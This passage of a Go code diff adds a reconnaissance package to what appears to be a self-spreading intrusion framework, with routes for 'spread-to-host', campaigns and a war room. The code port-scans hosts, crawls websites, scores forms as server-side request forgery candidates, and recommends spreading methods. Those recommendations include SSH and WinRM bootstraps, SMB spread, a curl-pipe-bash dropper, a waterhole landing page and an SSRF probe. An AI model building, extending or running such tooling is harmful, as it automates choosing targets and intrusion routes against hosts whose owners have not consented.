r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
|
||||
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
||||
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
|
||||
}
|
||||
if fleetAIHandler != nil {
|
||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||
@@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
|
||||
@@ -26,6 +26,7 @@ type SpreadHandler struct {
|
||||
publicURL func() string
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
allowlistFn func() map[string]ServiceDeployLane
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
|
||||
@@ -16,6 +16,7 @@ const (
|
||||
OathCourtL4Decision = "court_l4_decision"
|
||||
OathSpreadAttempt = "spread_attempt"
|
||||
OathStrainHospice = "strain_hospice"
|
||||
OathReconScan = "recon_scan"
|
||||
)
|
||||
|
||||
// Oath outcomes.
|
||||
|
||||
235
server/internal/recon/crawl.go
Normal file
235
server/internal/recon/crawl.go
Normal file
@@ -0,0 +1,235 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxHTMLBytes = 512 * 1024
|
||||
|
||||
// fetchPageFn overrides HTTP fetches in tests (nil = live GET from server host).
|
||||
var fetchPageFn func(rawURL string) (status int, body string, err error)
|
||||
|
||||
// Crawl fetches seed URL and same-origin linked paths up to depth and maxPages.
|
||||
func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {
|
||||
scheme = normalizeScheme(scheme, port)
|
||||
if port <= 0 {
|
||||
port = defaultPortForScheme(scheme)
|
||||
}
|
||||
base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port))
|
||||
seeds := seedPaths
|
||||
if len(seeds) == 0 {
|
||||
seeds = []string{"/"}
|
||||
}
|
||||
|
||||
report := &CrawlReport{}
|
||||
visited := map[string]bool{}
|
||||
queue := []queuedURL{}
|
||||
for _, p := range seeds {
|
||||
abs, err := resolveSameOrigin(base, p)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
queue = append(queue, queuedURL{url: abs, depth: 0})
|
||||
}
|
||||
|
||||
for len(queue) > 0 && report.PagesFetched < DefaultCrawlMaxPages {
|
||||
item := queue[0]
|
||||
queue = queue[1:]
|
||||
key := normalizeURLKey(item.url)
|
||||
if visited[key] {
|
||||
continue
|
||||
}
|
||||
visited[key] = true
|
||||
|
||||
status, body, err := fetchPage(item.url)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
report.PagesFetched++
|
||||
title := ""
|
||||
if root, err := htmlParseTitle(body); err == nil {
|
||||
title = root
|
||||
}
|
||||
report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})
|
||||
|
||||
files, multi, fields, pageScore, cms := ParseHTML(item.url, body)
|
||||
report.FileInputs = append(report.FileInputs, files...)
|
||||
report.MultipartForms = append(report.MultipartForms, multi...)
|
||||
report.URLFields = append(report.URLFields, fields...)
|
||||
report.SSRFScore += pageScore
|
||||
report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)
|
||||
|
||||
if item.depth >= DefaultCrawlDepth {
|
||||
continue
|
||||
}
|
||||
for _, link := range extractLinks(body) {
|
||||
abs, err := resolveSameOrigin(base, link)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !sameOrigin(base, abs) {
|
||||
continue
|
||||
}
|
||||
lkey := normalizeURLKey(abs)
|
||||
if !visited[lkey] {
|
||||
queue = append(queue, queuedURL{url: abs, depth: item.depth + 1})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if report.SSRFScore > 100 {
|
||||
report.SSRFScore = 100
|
||||
}
|
||||
report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints)
|
||||
return report, nil
|
||||
}
|
||||
|
||||
type queuedURL struct {
|
||||
url string
|
||||
depth int
|
||||
}
|
||||
|
||||
func fetchPage(rawURL string) (int, string, error) {
|
||||
if fetchPageFn != nil {
|
||||
return fetchPageFn(rawURL)
|
||||
}
|
||||
client := &http.Client{Timeout: DefaultPortDialTimeout}
|
||||
req, err := http.NewRequest(http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
}
|
||||
req.Header.Set("User-Agent", "AetherForge-Recon/1.0")
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := readBodyLimited(resp.Body, maxHTMLBytes)
|
||||
if err != nil {
|
||||
return resp.StatusCode, "", err
|
||||
}
|
||||
return resp.StatusCode, body, nil
|
||||
}
|
||||
|
||||
func normalizeScheme(scheme string, port int) string {
|
||||
scheme = strings.ToLower(strings.TrimSpace(scheme))
|
||||
switch scheme {
|
||||
case "http", "https":
|
||||
return scheme
|
||||
}
|
||||
if port == 443 || port == 8443 {
|
||||
return "https"
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
|
||||
func defaultPortForScheme(scheme string) int {
|
||||
if scheme == "https" {
|
||||
return 443
|
||||
}
|
||||
return 80
|
||||
}
|
||||
|
||||
func joinHostPort(host string, port int) string {
|
||||
if strings.Contains(host, ":") {
|
||||
return host
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", host, port)
|
||||
}
|
||||
|
||||
func resolveSameOrigin(base, ref string) (string, error) {
|
||||
baseURL, err := url.Parse(base)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
ref = strings.TrimSpace(ref)
|
||||
if ref == "" {
|
||||
return baseURL.String(), nil
|
||||
}
|
||||
refURL, err := url.Parse(ref)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return baseURL.ResolveReference(refURL).String(), nil
|
||||
}
|
||||
|
||||
func sameOrigin(base, target string) bool {
|
||||
b, err := url.Parse(base)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
t, err := url.Parse(target)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(b.Scheme, t.Scheme) &&
|
||||
strings.EqualFold(b.Hostname(), t.Hostname()) &&
|
||||
b.Port() == t.Port()
|
||||
}
|
||||
|
||||
func normalizeURLKey(raw string) string {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return strings.ToLower(strings.TrimSpace(raw))
|
||||
}
|
||||
u.Fragment = ""
|
||||
return strings.ToLower(u.String())
|
||||
}
|
||||
|
||||
func extractLinks(body string) []string {
|
||||
root, err := htmlParseRoot(body)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var links []string
|
||||
var walk func(*htmlNode)
|
||||
walk = func(n *htmlNode) {
|
||||
if n.tag == "a" {
|
||||
if href := n.attr("href"); href != "" && !strings.HasPrefix(strings.ToLower(href), "javascript:") {
|
||||
links = append(links, href)
|
||||
}
|
||||
}
|
||||
for _, c := range n.children {
|
||||
walk(c)
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
return links
|
||||
}
|
||||
|
||||
func mergeCMS(existing, add []string) []string {
|
||||
seen := map[string]bool{}
|
||||
for _, tag := range existing {
|
||||
seen[tag] = true
|
||||
}
|
||||
var out []string
|
||||
out = append(out, existing...)
|
||||
for _, tag := range add {
|
||||
if tag == "" || seen[tag] {
|
||||
continue
|
||||
}
|
||||
seen[tag] = true
|
||||
out = append(out, tag)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// htmlParseRoot and htmlParseTitle are thin wrappers to avoid exporting html types in tests.
|
||||
func htmlParseRoot(body string) (*htmlNode, error) {
|
||||
root, err := parseHTMLTree(body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return toHTMLNode(root), nil
|
||||
}
|
||||
|
||||
func htmlParseTitle(body string) (string, error) {
|
||||
root, err := parseHTMLTree(body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return extractTitle(root), nil
|
||||
}
|
||||
13
server/internal/recon/hooks.go
Normal file
13
server/internal/recon/hooks.go
Normal file
@@ -0,0 +1,13 @@
|
||||
package recon
|
||||
|
||||
import "time"
|
||||
|
||||
// SetPortDialHook installs a test hook for TCP dials; pass nil to restore live dials.
|
||||
func SetPortDialHook(fn func(host string, port int, timeout time.Duration) bool) {
|
||||
dialPortFn = fn
|
||||
}
|
||||
|
||||
// SetFetchPageHook installs a test hook for HTTP fetches; pass nil to restore live GETs.
|
||||
func SetFetchPageHook(fn func(rawURL string) (status int, body string, err error)) {
|
||||
fetchPageFn = fn
|
||||
}
|
||||
40
server/internal/recon/html_tree.go
Normal file
40
server/internal/recon/html_tree.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"golang.org/x/net/html"
|
||||
)
|
||||
|
||||
type htmlNode struct {
|
||||
tag string
|
||||
attrs map[string]string
|
||||
children []*htmlNode
|
||||
}
|
||||
|
||||
func (n *htmlNode) attr(key string) string {
|
||||
if n == nil || n.attrs == nil {
|
||||
return ""
|
||||
}
|
||||
return n.attrs[key]
|
||||
}
|
||||
|
||||
func parseHTMLTree(body string) (*html.Node, error) {
|
||||
return html.Parse(strings.NewReader(body))
|
||||
}
|
||||
|
||||
func toHTMLNode(n *html.Node) *htmlNode {
|
||||
if n == nil {
|
||||
return nil
|
||||
}
|
||||
out := &htmlNode{tag: n.Data, attrs: map[string]string{}}
|
||||
for _, a := range n.Attr {
|
||||
out.attrs[a.Key] = a.Val
|
||||
}
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
if child := toHTMLNode(c); child != nil {
|
||||
out.children = append(out.children, child)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
219
server/internal/recon/parse.go
Normal file
219
server/internal/recon/parse.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/net/html"
|
||||
)
|
||||
|
||||
var urlFieldHints = []string{
|
||||
"url", "link", "preview", "webhook", "fetch", "import", "oembed", "image",
|
||||
}
|
||||
|
||||
var cmsPathMarkers = []struct {
|
||||
path string
|
||||
tag string
|
||||
}{
|
||||
{"/wp-admin", "wordpress"},
|
||||
{"/wp-content", "wordpress"},
|
||||
{"/strapi", "strapi"},
|
||||
{"/graphql", "graphql"},
|
||||
{"/admin/login", "admin_login"},
|
||||
}
|
||||
|
||||
// ParseHTML extracts upload forms, URL fields, SSRF score, and CMS hints from HTML.
|
||||
func ParseHTML(pageURL, body string) (fileInputs, multipart []FormFinding, urlFields []URLFieldFinding, ssrfScore int, cms []string) {
|
||||
root, err := html.Parse(strings.NewReader(body))
|
||||
if err != nil {
|
||||
return nil, nil, nil, 0, cmsFromText(pageURL, body)
|
||||
}
|
||||
title := extractTitle(root)
|
||||
_ = title
|
||||
|
||||
var walk func(*html.Node)
|
||||
walk = func(n *html.Node) {
|
||||
if n.Type == html.ElementNode && n.Data == "form" {
|
||||
form := parseForm(pageURL, n)
|
||||
if form.HasFile {
|
||||
fileInputs = append(fileInputs, form)
|
||||
}
|
||||
if form.Multipart {
|
||||
multipart = append(multipart, form)
|
||||
}
|
||||
ssrfScore += scoreForm(form)
|
||||
}
|
||||
if n.Type == html.ElementNode && n.Data == "input" {
|
||||
if field := parseURLField(pageURL, n); field != nil {
|
||||
urlFields = append(urlFields, *field)
|
||||
ssrfScore += 10
|
||||
}
|
||||
}
|
||||
if n.Type == html.ElementNode && (n.Data == "textarea" || n.Data == "select") {
|
||||
if field := parseURLFieldFromNamed(pageURL, attr(n, "name"), attr(n, "id"), attr(n, "placeholder")); field != nil {
|
||||
urlFields = append(urlFields, *field)
|
||||
ssrfScore += 8
|
||||
}
|
||||
}
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
walk(c)
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
|
||||
cms = cmsFromText(pageURL, body)
|
||||
if ssrfScore > 100 {
|
||||
ssrfScore = 100
|
||||
}
|
||||
return fileInputs, multipart, urlFields, ssrfScore, cms
|
||||
}
|
||||
|
||||
func parseForm(pageURL string, form *html.Node) FormFinding {
|
||||
f := FormFinding{
|
||||
PageURL: pageURL,
|
||||
Action: attr(form, "action"),
|
||||
Method: strings.ToLower(attr(form, "method")),
|
||||
Enctype: strings.ToLower(attr(form, "enctype")),
|
||||
}
|
||||
if f.Method == "" {
|
||||
f.Method = "get"
|
||||
}
|
||||
if strings.Contains(f.Enctype, "multipart") {
|
||||
f.Multipart = true
|
||||
}
|
||||
for c := form.FirstChild; c != nil; c = c.NextSibling {
|
||||
collectFormFields(c, &f)
|
||||
}
|
||||
return f
|
||||
}
|
||||
|
||||
func collectFormFields(n *html.Node, f *FormFinding) {
|
||||
if n.Type == html.ElementNode {
|
||||
switch n.Data {
|
||||
case "input", "textarea", "select":
|
||||
name := attr(n, "name")
|
||||
if name != "" {
|
||||
f.Fields = append(f.Fields, name)
|
||||
}
|
||||
if n.Data == "input" && strings.EqualFold(attr(n, "type"), "file") {
|
||||
f.HasFile = true
|
||||
f.Multipart = true
|
||||
}
|
||||
if field := parseURLField(f.PageURL, n); field != nil {
|
||||
f.Fields = append(f.Fields, field.Name+"("+field.Hint+")")
|
||||
}
|
||||
}
|
||||
}
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
collectFormFields(c, f)
|
||||
}
|
||||
}
|
||||
|
||||
func parseURLField(pageURL string, n *html.Node) *URLFieldFinding {
|
||||
name := attr(n, "name")
|
||||
id := attr(n, "id")
|
||||
placeholder := attr(n, "placeholder")
|
||||
return parseURLFieldFromNamed(pageURL, name, id, placeholder)
|
||||
}
|
||||
|
||||
func parseURLFieldFromNamed(pageURL, name, id, placeholder string) *URLFieldFinding {
|
||||
joined := strings.ToLower(strings.Join([]string{name, id, placeholder}, " "))
|
||||
for _, hint := range urlFieldHints {
|
||||
if strings.Contains(joined, hint) {
|
||||
label := name
|
||||
if label == "" {
|
||||
label = id
|
||||
}
|
||||
return &URLFieldFinding{
|
||||
PageURL: pageURL,
|
||||
Name: label,
|
||||
Type: "text",
|
||||
Hint: hint,
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func scoreForm(f FormFinding) int {
|
||||
score := 0
|
||||
action := strings.ToLower(f.Action)
|
||||
for _, hint := range urlFieldHints {
|
||||
if strings.Contains(action, hint) {
|
||||
score += 15
|
||||
}
|
||||
}
|
||||
for _, field := range f.Fields {
|
||||
lower := strings.ToLower(field)
|
||||
for _, hint := range urlFieldHints {
|
||||
if strings.Contains(lower, hint) {
|
||||
score += 5
|
||||
}
|
||||
}
|
||||
}
|
||||
if f.HasFile {
|
||||
score += 5
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func cmsFromText(pageURL, body string) []string {
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
lowerURL := strings.ToLower(pageURL)
|
||||
lowerBody := strings.ToLower(body)
|
||||
add := func(tag string) {
|
||||
if tag == "" || seen[tag] {
|
||||
return
|
||||
}
|
||||
seen[tag] = true
|
||||
out = append(out, tag)
|
||||
}
|
||||
for _, marker := range cmsPathMarkers {
|
||||
if strings.Contains(lowerURL, marker.path) || strings.Contains(lowerBody, marker.path) {
|
||||
add(marker.tag)
|
||||
}
|
||||
}
|
||||
if strings.Contains(lowerBody, "strapi") {
|
||||
add("strapi")
|
||||
}
|
||||
if strings.Contains(lowerBody, "wp-content") || strings.Contains(lowerBody, "wordpress") {
|
||||
add("wordpress")
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func extractTitle(root *html.Node) string {
|
||||
var title string
|
||||
var walk func(*html.Node)
|
||||
walk = func(n *html.Node) {
|
||||
if n.Type == html.ElementNode && n.Data == "title" && n.FirstChild != nil {
|
||||
title = strings.TrimSpace(n.FirstChild.Data)
|
||||
return
|
||||
}
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
walk(c)
|
||||
}
|
||||
}
|
||||
walk(root)
|
||||
return title
|
||||
}
|
||||
|
||||
func attr(n *html.Node, key string) string {
|
||||
for _, a := range n.Attr {
|
||||
if a.Key == key {
|
||||
return a.Val
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func readBodyLimited(r io.Reader, max int64) (string, error) {
|
||||
buf := new(bytes.Buffer)
|
||||
_, err := io.Copy(buf, io.LimitReader(r, max))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return buf.String(), nil
|
||||
}
|
||||
32
server/internal/recon/portscan.go
Normal file
32
server/internal/recon/portscan.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// dialPortFn overrides TCP probes in tests (nil = live dial from server host).
|
||||
var dialPortFn func(host string, port int, timeout time.Duration) bool
|
||||
|
||||
// ScanPorts TCP-dials common fleet ports on host with timeout from server host.
|
||||
func ScanPorts(host string) []PortResult {
|
||||
out := make([]PortResult, 0, len(FleetPorts))
|
||||
for _, port := range FleetPorts {
|
||||
out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func dialPort(host string, port int, timeout time.Duration) bool {
|
||||
if dialPortFn != nil {
|
||||
return dialPortFn(host, port, timeout)
|
||||
}
|
||||
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_ = conn.Close()
|
||||
return true
|
||||
}
|
||||
186
server/internal/recon/recon_test.go
Normal file
186
server/internal/recon/recon_test.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestScanPortsWithInject(t *testing.T) {
|
||||
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
if host != "10.0.0.5" {
|
||||
t.Fatalf("host=%q", host)
|
||||
}
|
||||
return port == 22 || port == 443
|
||||
})
|
||||
t.Cleanup(func() { SetPortDialHook(nil) })
|
||||
results := ScanPorts("10.0.0.5")
|
||||
open := map[int]bool{}
|
||||
for _, r := range results {
|
||||
if r.Open {
|
||||
open[r.Port] = true
|
||||
}
|
||||
}
|
||||
if !open[22] || !open[443] {
|
||||
t.Fatalf("open=%v", open)
|
||||
}
|
||||
if open[445] {
|
||||
t.Fatal("445 should be closed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseHTMLFixtures(t *testing.T) {
|
||||
body := `<html><head><title>Upload</title></head><body>
|
||||
<form action="/import" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="payload">
|
||||
<input type="text" name="webhook_url" value="">
|
||||
</form>
|
||||
<a href="/admin/login">Admin</a>
|
||||
<link href="/wp-content/themes/x/style.css">
|
||||
</body></html>`
|
||||
files, multi, fields, score, cms := ParseHTML("http://lab/upload", body)
|
||||
if len(files) != 1 || !files[0].HasFile {
|
||||
t.Fatalf("file inputs: %+v", files)
|
||||
}
|
||||
if len(multi) != 1 || !multi[0].Multipart {
|
||||
t.Fatalf("multipart: %+v", multi)
|
||||
}
|
||||
if len(fields) == 0 {
|
||||
t.Fatal("expected url fields")
|
||||
}
|
||||
if score < 10 {
|
||||
t.Fatalf("ssrf score=%d", score)
|
||||
}
|
||||
if !containsStr(cms, "wordpress") && !containsStr(cms, "admin_login") {
|
||||
t.Fatalf("cms=%v", cms)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrawlSameOriginDepth(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/":
|
||||
w.Write([]byte(`<html><a href="/page2">next</a><a href="http://evil.example/x">off</a></html>`))
|
||||
case "/page2":
|
||||
w.Write([]byte(`<html><a href="/page3">deep</a></html>`))
|
||||
case "/page3":
|
||||
w.Write([]byte(`<html>leaf</html>`))
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
u, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := 80
|
||||
if p := u.Port(); p != "" {
|
||||
port = atoi(p)
|
||||
}
|
||||
|
||||
SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
resp, err := http.Get(rawURL)
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := readBodyLimited(resp.Body, maxHTMLBytes)
|
||||
return resp.StatusCode, body, nil
|
||||
})
|
||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||
|
||||
report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.PagesFetched < 2 {
|
||||
t.Fatalf("pages=%d", report.PagesFetched)
|
||||
}
|
||||
for _, p := range report.Pages {
|
||||
if strings.Contains(p.URL, "evil.example") {
|
||||
t.Fatalf("followed off-origin %s", p.URL)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanReportRecommendations(t *testing.T) {
|
||||
ports := []PortResult{
|
||||
{Port: 22, Open: true},
|
||||
{Port: 5985, Open: true},
|
||||
{Port: 80, Open: true},
|
||||
}
|
||||
crawl := &CrawlReport{
|
||||
MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}},
|
||||
SSRFScore: 40,
|
||||
}
|
||||
recs := BuildRecommendations(ports, crawl)
|
||||
if len(recs) < 5 {
|
||||
t.Fatalf("recs=%+v", recs)
|
||||
}
|
||||
keys := map[string]bool{}
|
||||
for _, r := range recs {
|
||||
keys[r.Lane+"|"+r.Template] = true
|
||||
}
|
||||
for _, want := range []string{"linux_lotl|linux-lotl", "winrm|winrm", "bits_curl|", "stage_fetch|", "|ssrf_probe", "|public_waterhole"} {
|
||||
if !keys[want] {
|
||||
t.Fatalf("missing %q in %+v", want, recs)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanOwnedTarget(t *testing.T) {
|
||||
SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
return port == 80
|
||||
})
|
||||
t.Cleanup(func() { SetPortDialHook(nil) })
|
||||
SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
|
||||
})
|
||||
t.Cleanup(func() { SetFetchPageHook(nil) })
|
||||
report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.Host != "owned.lab" {
|
||||
t.Fatalf("host=%q", report.Host)
|
||||
}
|
||||
if report.Crawl == nil || len(report.Recommendations) == 0 {
|
||||
raw, _ := json.Marshal(report)
|
||||
t.Fatalf("report=%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeOwnedHostRejectsEmpty(t *testing.T) {
|
||||
if _, err := Scan(ScanRequest{}); err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func containsStr(list []string, want string) bool {
|
||||
for _, s := range list {
|
||||
if s == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func atoi(s string) int {
|
||||
n := 0
|
||||
for _, c := range s {
|
||||
if c < '0' || c > '9' {
|
||||
return 80
|
||||
}
|
||||
n = n*10 + int(c-'0')
|
||||
}
|
||||
if n == 0 {
|
||||
return 80
|
||||
}
|
||||
return n
|
||||
}
|
||||
152
server/internal/recon/scan.go
Normal file
152
server/internal/recon/scan.go
Normal file
@@ -0,0 +1,152 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
|
||||
func Scan(req ScanRequest) (*ScanReport, error) {
|
||||
host, err := normalizeOwnedHost(req.Host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ports := ScanPorts(host)
|
||||
report := &ScanReport{
|
||||
Host: host,
|
||||
ScannedAt: time.Now().UTC(),
|
||||
Ports: ports,
|
||||
}
|
||||
|
||||
if shouldCrawl(req, ports) {
|
||||
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
|
||||
if err == nil && crawl != nil {
|
||||
report.Crawl = crawl
|
||||
}
|
||||
}
|
||||
report.Recommendations = BuildRecommendations(ports, report.Crawl)
|
||||
return report, nil
|
||||
}
|
||||
|
||||
func normalizeOwnedHost(host string) (string, error) {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" {
|
||||
return "", fmt.Errorf("host required")
|
||||
}
|
||||
host = strings.TrimPrefix(host, "http://")
|
||||
host = strings.TrimPrefix(host, "https://")
|
||||
if i := strings.Index(host, "/"); i >= 0 {
|
||||
host = host[:i]
|
||||
}
|
||||
if h, p, err := net.SplitHostPort(host); err == nil {
|
||||
if strings.TrimSpace(h) == "" {
|
||||
return "", fmt.Errorf("invalid host")
|
||||
}
|
||||
_ = p
|
||||
host = h
|
||||
}
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
if len(host) > 253 || strings.Contains(host, " ") {
|
||||
return "", fmt.Errorf("invalid host")
|
||||
}
|
||||
return strings.ToLower(host), nil
|
||||
}
|
||||
|
||||
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
|
||||
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
|
||||
return true
|
||||
}
|
||||
for _, p := range ports {
|
||||
switch p.Port {
|
||||
case 80, 443, 8080, 8443:
|
||||
if p.Open {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
|
||||
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
|
||||
var recs []DeployRecommendation
|
||||
open := map[int]bool{}
|
||||
for _, p := range ports {
|
||||
if p.Open {
|
||||
open[p.Port] = true
|
||||
}
|
||||
}
|
||||
|
||||
if open[22] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "linux_lotl",
|
||||
Template: "linux-lotl",
|
||||
Reason: "TCP 22 open — SSH LOTL bootstrap",
|
||||
Priority: 25,
|
||||
})
|
||||
}
|
||||
if open[445] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "spread_smb_unc",
|
||||
Reason: "TCP 445 open — SMB UNC spread",
|
||||
Priority: 50,
|
||||
})
|
||||
}
|
||||
if open[5985] || open[5986] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "winrm",
|
||||
Template: "winrm",
|
||||
Reason: "TCP 5985/5986 open — WinRM bootstrap",
|
||||
Priority: 30,
|
||||
})
|
||||
}
|
||||
if open[80] || open[443] || open[8080] || open[8443] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "bits_curl",
|
||||
Reason: "HTTP surface open — dropper curl|bash one-liner",
|
||||
Priority: 20,
|
||||
})
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Template: "public_waterhole",
|
||||
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
|
||||
Priority: 15,
|
||||
})
|
||||
}
|
||||
|
||||
if crawl != nil {
|
||||
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "stage_fetch",
|
||||
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
|
||||
Priority: 35,
|
||||
})
|
||||
}
|
||||
if crawl.SSRFScore >= 30 {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Template: "ssrf_probe",
|
||||
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
|
||||
Priority: 45,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return dedupeRecommendations(recs)
|
||||
}
|
||||
|
||||
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
|
||||
seen := map[string]bool{}
|
||||
var out []DeployRecommendation
|
||||
for _, r := range in {
|
||||
key := r.Lane + "|" + r.Template
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, r)
|
||||
}
|
||||
return out
|
||||
}
|
||||
80
server/internal/recon/types.go
Normal file
80
server/internal/recon/types.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package recon
|
||||
|
||||
import "time"
|
||||
